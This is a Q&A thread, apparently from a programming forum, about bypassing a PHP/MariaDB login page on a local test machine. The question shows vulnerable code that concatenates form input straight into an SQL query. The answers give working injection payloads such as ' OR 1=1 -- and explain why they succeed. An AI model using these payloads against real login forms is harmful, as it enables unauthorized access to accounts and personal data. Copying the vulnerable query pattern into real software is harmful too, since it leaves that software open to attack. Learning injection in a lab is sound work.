Q:

Simple SQL injection to bypass login in MariaDB

I'm trying out SQL Injection on my localhost. I have a simple HTML form, with a username, password and a submit button. So after clicking on the submit, user is redirected from login.html to a page called login.php:
<form method="post" action="login.php"> 

Below is a snipped of my PHP code:
$connect = mysqli_connect($dbhost, $dbuser, $dbpass) or die("Unable to connect to '$dbhost'");
mysqli_select_db($connect,$dbname) or die("Could not open the database '$dbname'");

$message="";
$username = $_POST["uname"];
$pass_raw = $_POST["password"];
$password = md5($pass_raw);

$result = mysqli_query($connect,"SELECT *  FROM students WHERE uname='" . $username . "' and password = '". $password."'");
$row = mysqli_fetch_array($result);

if(is_array($row)) {
    echo "Congratulations! you have logged in!";
    printf("Your First Name %s and Last Name is %s", $row[3], $row[4]);
    printf("Your SSN is %s ", $row[5]); 
} else {
    $message = "Invalid Username or Password!";
    echo "invalid user ";
}

I'm able to login to the if I enter the right user and password. I'm trying to perform SQL Injection, but I'm unable to. I have tried using ' or ''=' but I'm still not able to login. I'm trying this out in Kali, which comes pre-installed with MariaDB.

A:

In MariaDB the comments must be followed by a space:

From a '-- ' to the end of a line. The space after the two dashes is required (as in MySQL).

Please try ' OR 1=1 --[space].

A:

First thing to note here is that you can only inject in the username, and not in the password. Any payload you put into the passwrod will be destroyed in the hashing.
So what happends if set the username to ' OR '' = '? Let's write it out:
SELECT * FROM students WHERE uname='' OR '' = '' AND password = '$password'

Due to the fact that AND has higher precedence than OR in SQL, it gets interpreted as this:
SELECT * FROM students WHERE uname='' OR ('' = '' AND password = '$password')

As you can see, both the left and right sides of the OR will always be false unless there is a user without a name or you provide an existing password.
Instead, try making an injection so you end up with a query similar to one ot these, depending on if you want to specify a username or not:
SELECT * FROM students WHERE uname='' OR uname='admin' -- ' AND password = '$password'
SELECT * FROM students WHERE uname='' OR 1=1 -- ' AND password = '$password'

So what is the lesson here? Always write out the query that you think your injection will result in. Analyze it and make sure the SQL actually does what you want it to do.

